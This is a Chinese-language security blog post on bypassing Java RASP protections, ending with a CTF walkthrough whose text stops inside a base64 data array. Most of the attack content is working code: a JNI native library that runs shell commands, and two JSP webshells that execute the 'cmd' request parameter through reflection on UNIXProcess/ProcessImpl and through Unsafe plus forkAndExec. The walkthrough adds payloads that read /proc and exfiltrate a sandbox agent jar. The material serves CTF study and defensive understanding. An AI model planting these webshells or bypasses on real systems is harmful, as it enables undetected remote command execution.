RASP介绍

RASP全称是Runtime applicaion self-protection,在2014念提出的一种应用程序自我保护技术,将防护功能注入到应用程序之中,通过少量的Hook函数监测程序的运行,根据当前的上下文环境实时阻断攻击事件。

目前Java RASP主要是通过Instrumentation编写Agent的形式,在Agent的premain和agentmain中加入检测类一般继承于ClassFileTransformer,当程序运行进来的时候,通过类中的transform检测字节码文件中是否有一些敏感的类文件,比如ProcessImpl等。简单的可以理解为通过Instrumentation来对JVM进行实时监控。

Instrumentation API 提供了两个核心接口:ClassFileTransformer 和 Instrumentation。ClassFileTransformer 接口允许开发者在类加载前或类重新定义时对字节码进行转换。Instrumentation 接口则提供了启动时代理和重新定义类的能力

Java Agent存在premain和agentmain两个方法,关于这两个方法在之前的java agent也说过了,这里就不再说了

所以其实就是和前面的文章一样编写一个ClassFileTransformer的实现类,使用该类来对程序进行实时监控,如果检测到相关的危险函数,就通过transform方法来对类字节码进行转化。

与传统 WAF 对比, RASP 实现更为底层,规则制定更为简单,攻击行为识别更为精准。

RASP绕过原理

我们可以知道,RASP主要是通过转换字节码来达到目的,如果设置的检测的方法存在着更底层的方法或者相同层级的不同方法能够达到相同的效果,那么就能完成绕过。

所以绕过的手法大致为两种:

  1. 寻找没有被限制的类或者函数来绕过,也就是绕过黑名单
  2. 利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过

JNI绕过

JNI(Java Native Interface)是 Java 提供的一种机制,用于在 Java 程序中调用本地(Native)代码,即使用其他语言(如C、C++)编写的代码,从而可以充分利用本地代码的功能和性能优势,实现对底层系统资源和外部库的访问。

JNI的设计是为了解决java无法直接访问底层系统资源或者利用本地库的问题,也可以用来绕过RASP。我们编写的代码最后是要编译为dll动态链接库或者so动态共享库,然后JNI通过加载这些共享库来执行我们编写的本地代码

我们写一个JNI使用dll的例子,写一个执行命令的方法

java文件

public class Command {
public native String exec(String cmd);
}

将其编译成.class文件

javac Command.java

然后再用下面的命令生成c语言的.h头文件

javah -jni Command

然后再去编写Command.c文件

#include "Command.h"
#include "jni.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
char buffer[1024*12];
FILE *pipe = popen(cmd, "r");
if (!pipe)
return 0;

while (!feof(pipe))
{
if (fgets(buffer, sizeof(buffer), pipe))
{
strcat(result, buffer);
}
}
pclose(pipe);
return 1;
}
JNIEXPORT jstring JNICALL Java_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = "";
execmd(cstr, result);
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
return cmdresult;
}

写好之后进行编译,编译成dll文件

gcc -I "D:\CTF\Java\JDK\jdk1.8.0_65\include" -I "D:\CTF\Java\JDK\jdk1.8.0_65\include\win32" -D__int64="long long" --shared "D:\CTF\Java\JavaCode\JNITest\src\main\java\Command.c"  -o ./jni.dll

-D 是 gcc 编译器的一个预处理器参数,用于定义宏

-I用于指定额外的目录,让编译器在这些目录中搜索头文件

image-20241107203652320

然后用System.load或者System.loads方法就可以加载这个dll,然后就可以实例化Command类调用他的native方法了

public class Test {
public static void main(String[] args) {
System.out.println(System.getProperty("java.library.path"));
// System.loadLibrary("jni"); //load()指定绝对路径
System.load("D:\\CTF\\Java\\JavaCode\\JNITest\\src\\main\\java\\jni.dll");
Command command = new Command();
String ipconfig = command.exec("calc");
System.out.println(ipconfig);
}
}

这个java.library.path是java搜索共享库的路径,如果用loadLibrary方法的话,他是不能带路径的,只能从java.library.path中搜索并加载,所以要用loadLibrary方法加载dll的话需要确保dll在搜寻路径下面

执行就可以弹计算器了

image-20241107204035199

所以其实绕过就是能把我们写的so上传的服务当中去,可以通过java的webshell、文件上传、或者反序列化等方式,加载我们写好的so或者dll

这里有一些JNI命令执行的脚本例子:https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-CommandExecution-README.md

UNIXProcess绕过

说实话一开始看到这个东西我是很懵的,根本没听过,看了一下才知道这个是Runtime.exec()调用链的末端,平时只会用并没有关注过相关的调用链

RASP有些针对命令执行的过滤就是对调用链中的java.lang.ProcessImpl.start方法进行过滤。

那来分析一下命令执行的调用链

参考文章:https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-CommandExecution-README.md

Runtime.exec(xxx)调用链如下:

java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)

所以平时用的ProcessBuilder.start的执行命令的方法也处于这个调用链上

ProcessBuilder执行命令

new ProcessBuilder("calc").start();

上面的调用栈是Linux的,从字面也可以看得到这是UNIXProcess,Windows的话我自己跟进发现他和Linux不同的就是最终那一步,UNIXProcess变成ProcessImpl.create

image-20241108135939928

在该native方法实现里面就会调用Windows的api来创建一个新的进程

这里还是继续跟着文章的Linux版本来分析,所以我们需要关注的就是UNIXProcessProcessImpl,在JDK9之后把UNIXProcess合并到了ProcessImpl当中

他们最终调用的native方法是forkAndExec方法,如方法名所述主要是通过fork&exec来执行本地系统命令

private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,
byte[] argBlock, int argc,
byte[] envBlock, int envc,
byte[] dir,
int[] fds,
boolean redirectErrorStream)
throws IOException;

所以我们利用这个绕过RASP防御的原理就是他们防御的层数不够深,比如只到ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImplforkAndExec方法就可以绕过RASP实现命令执行了。

这是ProcessImpl实例化UNIXProcess的源码,主要是看看参数传递

final class ProcessImpl {
private static final sun.misc.JavaIOFileDescriptorAccess fdAccess
= sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();

private ProcessImpl() {} // Not instantiable

private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length-1] = (byte)0;
return result;
}
static Process start(String[] cmdarray,
java.util.Map<String,String> environment,
String dir,
ProcessBuilder.Redirect[] redirects,
boolean redirectErrorStream)
throws IOException
{
assert cmdarray != null && cmdarray.length > 0;
byte[][] args = new byte[cmdarray.length-1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = cmdarray[i+1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}

int[] envc = new int[1];
byte[] envBlock = ProcessEnvironment.toEnvironmentBlock(environment, envc);

int[] std_fds;

FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;

try {
if (redirects == null) {
std_fds = new int[] { -1, -1, -1 };
} else {
std_fds = new int[3];
if (redirects[1] == Redirect.PIPE)
std_fds[1] = -1;
else if (redirects[1] == Redirect.INHERIT)
std_fds[1] = 1;
else {
f1 = new FileOutputStream(redirects[1].file(),
redirects[1].append());
std_fds[1] = fdAccess.get(f1.getFD());
}
if (redirects[2] == Redirect.PIPE)
std_fds[2] = -1;
else if (redirects[2] == Redirect.INHERIT)
std_fds[2] = 2;
else {
f2 = new FileOutputStream(redirects[2].file(),
redirects[2].append());
std_fds[2] = fdAccess.get(f2.getFD());
}
}
return new UNIXProcess
(toCString(cmdarray[0]),
argBlock, args.length,
envBlock, envc[0],
toCString(dir),
std_fds,
redirectErrorStream);
} finally {

try { if (f0 != null) f0.close(); }
finally {
try { if (f1 != null) f1.close(); }
finally { if (f2 != null) f2.close(); }
}
}
}
}

UNIXProcess接收 8个参数,其中envc是[1]与std_fds都是恒为-1的数组,redirectErrorStream不影响可为false,args.length 为 cmd.length - 1,argBlock的内容就是执行的命令内容。

一个jsp的payload

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null) {
return null;
}
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}
// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
assert strs != null && strs.length > 0;
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;
// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}
// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);
// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object);
}
String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}
return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");
if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>

Unsafe+forkAndExec绕过

那如果RASP把UNIXProcess/ProcessImpl类的构造方法给拦截了呢

那我们就需要利用java的一些特性来直接触发forkAndExec方法从而绕过过滤

具体的步骤如下:

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

因为不太好验证,直接copy一下Aiwin师傅的jsp payload

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
%>
<%
String[] strs = request.getParameterValues("cmd");
if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null); //通过get方法得到unsafe对象
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);//创建UNIXProcess对象
//原代码
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
//构造forkAndExec需要的参数
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
//从UNIXProcess中得到launchMechanism和Helperpath
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
//反射forkAndExec方法
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});
forkMethod.setAccessible(true);
int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});
// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
//获取输出内容
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>

例题分析

[MRCTF 2022] springcoffee

强网拟态2024 OnlineRunner

记得当时题目是一个在线的java在线命令执行环境,直接让你写Main函数的部分,所以也没办法import类,只能直接写全类名

当时就是尝试了一下正常命令执行payload发现不太行,java沙箱也不太会绕不过去,遂摆🫡

这题没有附件,当时也没怎么看,现在只能看wp学习一下

先是用下面的payload任意文件读

try {
java.io.FileReader fr = new java.io.FileReader("/proc/1/cmdline");
java.io.BufferedReader br = new java.io.BufferedReader(fr);
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
} catch (java.io.IOException e) {
e.printStackTrace();
}

然后得到启动服务的参数

java--add-opens=java.base/java.lang=ALL-UNNAMED-javaagent:/home/ctf/sandbox/lib/sandbox-agent.jar-jar/app/app.jar--server.port=80

这里可以看到是给沙箱上了一个agent来检测程序,也就是RASP了

然后用下面的payload来列目录

java.io.File folder = new java.io.File("/");
java.io.File[] listOfFiles = folder.listFiles();

if (listOfFiles != null) {
for (java.io.File file : listOfFiles) {
if (file.isFile()) {
System.out.println("File: " + file.getName());
} else if (file.isDirectory()) {
System.out.println("Directory: " + file.getName());
}
}
} else {
System.out.println("The directory does not exist or is not a directory.");
}

下面的payload看jar包的条目信息,也就是一些包含的文件和目录信息

try {
java.util.zip.ZipInputStream zis = new java.util.zip.ZipInputStream(new java.io.FileInputStream("/app/app.jar"));
java.util.zip.ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
System.out.println(entry.getName());
zis.closeEntry();
}
zis.close();
} catch (java.io.IOException e) {
e.printStackTrace();
}

用下面的payload下载agent.jar然后反编译查看源码

try {
java.io.File file = new java.io.File("/home/ctf/sandbox/lib/sandbox-agent.jar"); // 需要读取的二进制文件

java.io.BufferedInputStream bis = new java.io.BufferedInputStream(new java.io.FileInputStream(file));
byte[] buffer = new byte[1024]; // 创建一个字节数组作为缓冲区
int bytesRead;

while ((bytesRead = bis.read(buffer)) != -1) { // 循环读取
// 处理读取的数据(这里可以进行打印、处理等)
//System.out.write(buffer, 0, bytesRead);
System.out.print('"');
System.out.print(java.util.Base64.getEncoder().encodeToString(buffer));
System.out.println("\",");

}


} catch (
java.io.IOException e) {
e.printStackTrace();
}

然后python脚本写入jar包

import base64

data = ["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",
